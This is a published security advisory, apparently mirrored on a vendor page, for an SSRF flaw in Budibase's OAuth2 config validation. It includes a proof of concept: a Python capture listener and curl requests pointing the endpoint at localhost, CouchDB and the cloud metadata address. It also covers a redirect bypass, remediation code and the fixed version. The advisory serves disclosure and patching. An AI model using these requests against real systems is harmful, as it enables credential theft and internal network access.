GHSA-g6qx-g4pr-92v7
HIGHGHSA-g6qx-g4pr-92v7 is a high-severity (CVSS 7.7) Server-Side Request Forgery (SSRF) vulnerability in @budibase/server. O3 Security confirms whether GHSA-g6qx-g4pr-92v7 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Budibase: SSRF via OAuth2 Config Validation — Missing fetchWithBlacklist Protection
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
@budibase/servernpmDescription
Summary
The OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts (line 59) uses raw fetch(config.url) with no SSRF protection. The safe wrapper fetchWithBlacklist() exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was not applied to the OAuth2 token endpoint.
A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data.
Details
Vulnerable code — packages/server/src/sdk/workspace/oauth2/utils.ts:59:
async function fetchToken(config: OAuth2Config): Promise<TokenResponse> {
// ...
const response = await fetch(config.url, fetchConfig) // NO blacklist check!
// ...
}
Safe wrapper used everywhere else — packages/backend-core/src/utils/outboundFetch.ts:
export async function fetchWithBlacklist(url: string, opts?: RequestInit) {
await blacklist.isBlacklisted(url) // Checks against internal IPs
const response = await fetch(url, { ...opts, redirect: "manual" })
// Re-checks every redirect target
}
Where fetchWithBlacklist IS used (consistency gap proof):
automations/steps/discord.ts— Discord webhookautomations/steps/slack.ts— Slack webhookautomations/steps/make.ts— Make.com integrationautomations/steps/n8n.ts— n8n integrationautomations/steps/zapier.ts— Zapier integrationautomations/steps/outgoingWebhook.ts— Custom webhooks- Plugin download (GitHub, NPM)
- Object store tarball downloads
Where it is NOT used:
sdk/workspace/oauth2/utils.ts:59— OAuth2 token fetch ← THIS VULNERABILITY
PoC
# 1. Start SSRF listener
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers.get('Content-Length', 0))
body = self.rfile.read(length)
print(f'SSRF: {self.path} | Body: {body.decode()}')
self.send_response(200)
self.send_header('Content-Type','application/json')
self.end_headers()
self.wfile.write(b'{\"access_token\":\"x\",\"token_type\":\"bearer\"}')
http.server.HTTPServer(('0.0.0.0', 9999), H).serve_forever()
" &
# 2. As builder, validate OAuth2 config pointing to internal service
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:9999/ssrf","clientId":"test","clientSecret":"test"}'
# Result: Listener captures POST with Authorization: Basic header containing credentials
# The client_id and client_secret are leaked to the attacker-controlled URL
# 3. Access internal CouchDB
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:5984/_all_dbs","clientId":"x","clientSecret":"x"}'
# Result: {"valid":false,"message":"Unauthorized"} — confirms CouchDB is reachable
# 4. Access AWS metadata (in cloud deployments)
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/","clientId":"x","clientSecret":"x"}'
Additional SSRF Vector: REST Integration Redirect Bypass
The REST integration at packages/server/src/integrations/rest.ts:754-778 calls blacklist.isBlacklisted(url) only once on the initial URL, then passes it to undici.fetch() with default redirect: "follow". Redirect targets are NOT re-checked against the blacklist. An attacker can use an external URL that 302-redirects to 169.254.169.254.
Contrast with safe wrapper: fetchWithBlacklist() uses redirect: "manual" and re-checks every redirect target.
Impact
- Internal service access — CouchDB (default port 5984), Redis, internal APIs
- Cloud metadata exfiltration — AWS/GCP/Azure IAM credentials via 169.254.169.254
- Credential leakage — OAuth2 client_id and client_secret sent as Basic auth to attacker URL
- Network reconnaissance — Scan internal ports by observing error differences (ECONNREFUSED vs timeout vs response)
Remediation
Replace fetch(config.url, fetchConfig) with fetchWithBlacklist(config.url, fetchConfig) in packages/server/src/sdk/workspace/oauth2/utils.ts:
import { fetchWithBlacklist } from "@budibase/backend-core/utils"
async function fetchToken(config: OAuth2Config): Promise<TokenResponse> {
// ...
const response = await fetchWithBlacklist(config.url, fetchConfig)
// ...
}
Also fix the REST integration redirect bypass in packages/server/src/integrations/rest.ts by using fetchWithBlacklist() instead of raw undici.fetch().
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @budibase/server | all versions | 3.39.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @budibase/server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @budibase/server to 3.39.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-g6qx-g4pr-92v7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-g6qx-g4pr-92v7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
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